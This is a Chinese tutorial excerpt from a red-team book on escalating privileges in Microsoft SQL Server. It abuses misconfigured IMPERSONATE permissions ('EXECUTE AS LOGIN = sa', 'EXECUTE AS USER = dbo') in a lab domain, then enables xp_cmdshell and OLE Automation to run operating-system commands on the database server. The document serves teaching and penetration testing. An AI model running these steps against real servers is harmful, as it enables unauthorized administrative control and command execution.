利用MSSQL模拟提权

点击星标,即时接收最新推文

577e2c84e412a2a6a06695e682df3807.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

利用MSSQL模拟提权

在MS SQL数据库,可以使用EXECUTE AS语句,以其他用户的上下文执行SQL查询。需要注意的是只有明确授予模拟(Impersonate)权限的用户才能执行这个语句。这个权限对于多数用户不是默认配置,但是数据库管理员可能因为误配置导致权限提升。

这里为了演示利用MSSQL模拟提权的概念,我们在运行在dev-DC01的SQL数据库引入了一个误配置的模拟权限。有两种方式可以使用模拟。第一种方式是使用EXECUTE AS LOGIN语句在登录级别模拟不同的用户。第二种方式是在用户级别用EXECUTE AS USER语句来完成。

首先我们演示在登录级别的模拟。由于我们是低权限用户,我们无法枚举当前用户可以模拟哪个用户,但是可以枚举哪个用户可以被模拟。可通过如下查询获得哪个用户可以被模拟的信息:

set instance dev-dc01.dev.ms08067.cn
USE master;
go
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
go

2b18ecdc8b966274a613380ffa916492.png

枚举可被模拟的用户

从ESC工具的输出可以看到sa用户可被模拟,虽然无法判断哪个用户允许模拟成sa。在测试过程,可以使用我们有权限的用户直接尝试。我们首先使用EXECUTE AS LOGIN进行测试:   

set instance dev-dc01.dev.ms08067.cn
SELECT SYSTEM_USER;
go
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
go

15a2be57554700b56983b6f057727982.png

EXECUTE AS LOGIN模拟测试

从输出可以看到我们当前用户dev\dave可以模拟成sa,也就意味着当前用户有数据库管理员权限。

我们也可以模拟一个数据库用户,但是要进行权限提升,需要满足两个条件。首先模拟的其他用户需要有必要的权限,比如sysadmin角色。此外,因为数据库用户只能在特定数据库执行操作,要实现入侵数据库服务器,我们要模拟的用户需要在对应数据库设置了TRUSTWORTHY属性。仅原生的数据库msdb启用了这个属性。

要演示这个权限提升技术,guest用户必须在msdb授予模拟dbo的权限。

要执行模拟测试,首先切换到msdb数据,然后执行"EXECUTE AS USER"语句。通过USER_NAME()可以看到当前用户的上下文:

use msdb;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
go

2b503a610baee82ae868d20790d58c41.png

EXECUTE AS USER模拟

从输出可以看到,当前用户也有权限模拟成dbo用户,也就是获得了sysadmin权限。

在我们获得了sysadmin权限后,可以尝试在数据库服务器执行命令。比较常用的方法是使用xp_cmdshell存储过程。但是因为xp_cmdshell比较常用,所以可能被禁用或者监控,此时,我们也可以尝试使用其他的存储过程,比如sp_OACreate。

我们先尝试使用xp_cmdshell执行命令。从SQL 2005开始,xp_cmdshell默认被禁用。如果有sysadmin角色权限的话,可以使用advanced options和sp_configure存储过程启用。我们先模拟sa,然后使用sp_configure激活advanced options并启用xp_cmdshell:

EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell whoami
go

098e780470aaf06381e62771c0afdefd.png

启用xp_cmdshell

从输出可以看到成功在数据库服务器启用xp_cmdshell并执行了命令。后续如果想要执行其他命令,需要先执行EXECUTE AS LOGIN = 'sa':

746cf3d1869788a3d577fcbf3c818995.png

xp_cmdshell执行命令

如果要禁用xp_cmdshell,可用如下命令:

EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

如果xp_cmdshell不可用,我们也可以使用sp_OACreate和sp_OAMethod存储过程,来创建和执行一个基于Object Linking and Embedding(OLE)的新存储过程。需要注意的是这个方法的命令执行结果不会回显。

在执行OLE-based存储过程前,我们需要确保"OLE Automation Procedures"设置启用,默认是禁用的,我们可以使用sp_configure修改这个设置。

EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @myshell INT;
EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c ipconfig > c:\Tools\ip.txt';
go

566ba50788a1800824e6846c61f287eb.png

sp_OACreate命令执行

命令执行完后,我们在服务器查看,可以看到在数据库服务器成功执行ipconfig:

315fc883c75e555205c2f779d7e46132.png

sp_OACreate命令执行结果

—  实验室旗下直播培训课程  —

a0e80d8ecc3a27343a1db869fa40e6cf.png

0b5219adc07d721ad549da0c3a750f76.jpeg

52b095b12abba3cbc7b68c4b7fdd08f9.jpeg065a899eeadda39089975aeb335f7fb1.png

af80d2292391b7cedaf900b3181e9e69.png

09a73401f558df11f0847a0becf45e6c.jpeg

7494513b97f203c26c6ef58114979566.jpeg

2a97825e6de69b17ec11f622bcd59d7b.jpeg

fe1194b9d83895aaa0c81b0ed7b3e5ad.png

和20000+位同学加入MS08067一起学习

e7de184e13a1b5f5ca9c8ad1f843369b.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/358029.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vuex的深入学习[基于vuex3]----篇(二)

store对象的创建 store的传递图 创建语句索引 创建vuex的语句为new Vuex.Store({…})Vuex的入口文件是index.js,store是index.js导出的store类store类是store.js文件中定义的。 Store的构造函数constructor 判断vuex是否被注入,就是将vue挂载在window对象上&am…

Java | Leetcode Java题解之第169题多数元素

题目: 题解: class Solution {public int majorityElement(int[] nums) {int count 0;Integer candidate null;for (int num : nums) {if (count 0) {candidate num;}count (num candidate) ? 1 : -1;}return candidate;} }

TLS握手中的RTT

文章目录 TLS 1.2 握手过程中的 RTT 次数TLS 1.3 1-RTT 初次TLS1.3 0-RTT 握手过程总结 TLS 1.2 握手过程中的 RTT 次数 TLS 1.2 握手通常需要2 RTT 才能完成。具体步骤如下: 第一次 RTT: 客户端发送 ClientHello:客户端生成一个随机数&…

26.3 Django路由层

1. 路由作用 在Django中, URL配置(通常称为URLconf)是定义网站结构的基础, 它充当着Django所支撑网站的目录. URLconf是一个映射表, 用于将URL模式(patterns)映射到Python的视图函数或类视图上. 这种映射机制是Django处理HTTP请求的基础, 它决定了当客户端发送请求时, Django如…

消息认证码解析

1. 什么是消息认证码 消息认证码(Message Authentication Code)是一种确认完整性并进行认证的技术,取三个单词的首字母,简称为MAC。 消息认证码的输入包括任意长度的消息和一个发送者与接收者之间共享的密钥,它可以输出固定长度的数据&#x…

AIGC-Animate Anyone阿里的图像到视频 角色合成的框架-论文解读

Animate Anyone: Consistent and Controllable Image-to-Video Synthesis for Character Animation 论文:https://arxiv.org/pdf/2311.17117 网页:https://humanaigc.github.io/animate-anyone/ MOTIVATION 角色动画的目标是将静态图像转换成逼真的视频,这在在线零…

ip地址怎么写才是的对的?合法ip地址正确的格式

IP地址怎么写才是的对的?在互联网的世界里,IP地址就像是我们生活中的门牌号码,它是每个设备在网络中的唯一标识。正确的书写IP地址对于确保网络通信的顺畅至关重要。本文将带您了解合法IP地址的正确格式与书写规范,并深入探讨其在…

css如何动态累计数字?

导读:css如何动态累计数字?用于章节目录的序列数生成,用css的计数器实现起来比 js方式更简单! 伪元素 ::after ::before伪元素设置content 可以在元素的首部和尾部添加内容,我们要在元素的首部添加序列号&#xff0c…

Spring AI 介绍以及与 Spring Boot 项目整合

Spring AI 项目旨在简化使用 Spring Boot 开发包含人工智能功能的应用程序,提供抽象和支持多种模型提供商及矢量数据库提供商。 Spring AI 的功能特点 支持主流模型提供商:如 OpenAI、Microsoft、Amazon、Google 和 Huggingface 等。支持多种模型类型&a…

如何从magento1迁移到magento2

m2相较m1 变化可以说非常大,相当于从头到位都改写一遍,更现代化,更优雅。除了数据库表变化不是很大。 主要迁移的内容有: 1,主题 2,插件(自己开发的或者第三方插件) 3,数据库 主题 不能迁移到m…

STM32上实现spwm调制原理分析

在STM32微控制器上实现SPWM(正弦脉宽调制,Sinusoidal Pulse Width Modulation)调制的核心是利用高频载波(三角波)与低频基波(正弦波)作比较得出。 那么在STM32里三角波和正弦波分别是什么&…

java实现分类下拉树,点击时对应搜索---后端逻辑

一直想做分类下拉,然后选择后搜索的页面,正好做项目有了明确的需求,查找后发现el-tree的构件可满足需求,数据要求为:{ id:1, label:name, childer:[……] }形式的,于是乎,开搞! 一…

Golang | Leetcode Golang题解之第187题重复的DNA序列

题目&#xff1a; 题解&#xff1a; const L 10 var bin map[byte]int{A: 0, C: 1, G: 2, T: 3}func findRepeatedDnaSequences(s string) (ans []string) {n : len(s)if n < L {return}x : 0for _, ch : range s[:L-1] {x x<<2 | bin[byte(ch)]}cnt : map[int]in…

文件创建与查看

touch touch命令用于创建一个新的文件。 语法&#xff1a;touch Linux路径 其中路径可以是相对路径、绝对路径或者特殊路径符都可以。 改图展示了通过 touch test.txt 命令创建了一个 test.txt文件&#xff0c;其中深色的代表文件夹&#xff0c;白色的代表文件。 使用 ls -lh…

[MYSQL] 数据库基础

1.什么是数据库 从数据库的名字可以看出,它是用来操作(增删查改....)数据的,事实上也的确如此,通过数据库,我们可以更方便.更高效的来操作.管理数据 以文件形式存储数据的缺点 文件的安全问题文件不利于数据的查询和删除文件不利于存储海量数据操作文件并不方便 为了解决上述问…

汽车IVI中控开发入门及进阶(二十九):i.MX6

前言: i.MX 6双/6Quad处理器集成多媒体应用处理器,是不断增长的多媒体产品系列的一部分,提供高性能处理,并针对最低功耗进行了优化。 i.MX 6Dual/6Quad处理器采用先进的quad-ArmCortex-A9内核,运行速度高达800 MHz,包括2D和3D图形处理器、1080p视频处理和集成电源管理。…

深入分析 Android BroadcastReceiver (六)

文章目录 深入分析 Android BroadcastReceiver (六)1. 广播机制的高级优化策略1.1 使用 Sticky Broadcast&#xff08;粘性广播&#xff09;示例&#xff1a;粘性广播&#xff08;过时&#xff0c;不推荐&#xff09; 1.2 使用 LiveData 和 ViewModel 进行组件通信示例&#xf…

潜艇伟伟迷杂交版植物大战僵尸2024最新免费安卓+ios苹果+iPad分享

嗨&#xff0c;亲爱的游戏迷们&#xff01;今天我要给你们种草一个超有趣的游戏——植物大战僵尸杂交版。这款游戏不仅继承了原有经典游戏的核心玩法&#xff0c;还加入了许多创新元素&#xff0c;让玩家能够体验到前所未有的乐趣。快来跟随我一起探索这个神奇的世界吧&#xf…

Android模拟器linux内核的下载,编译,运行,驱动开发测试

Android模拟器linux内核的下载&#xff0c;编译&#xff0c;运行&#xff0c;内核模块开发 1.下载适合Android模拟器的内核 git clone https://aosp.tuna.tsinghua.edu.cn/android/kernel/goldfish.git git branch -a git checkout android-goldfish-4.14-gchips 新建一个目录…

PriorityQueue详解(含动画演示)

目录 PriorityQueue详解1、PriorityQueue简介2、PriorityQueue继承体系3、PriorityQueue数据结构PriorityQueue类属性注释完全二叉树、大顶堆、小顶堆的概念☆PriorityQueue是如何利用数组存储小顶堆的&#xff1f;☆利用数组存储完全二叉树的好处&#xff1f; 4、PriorityQueu…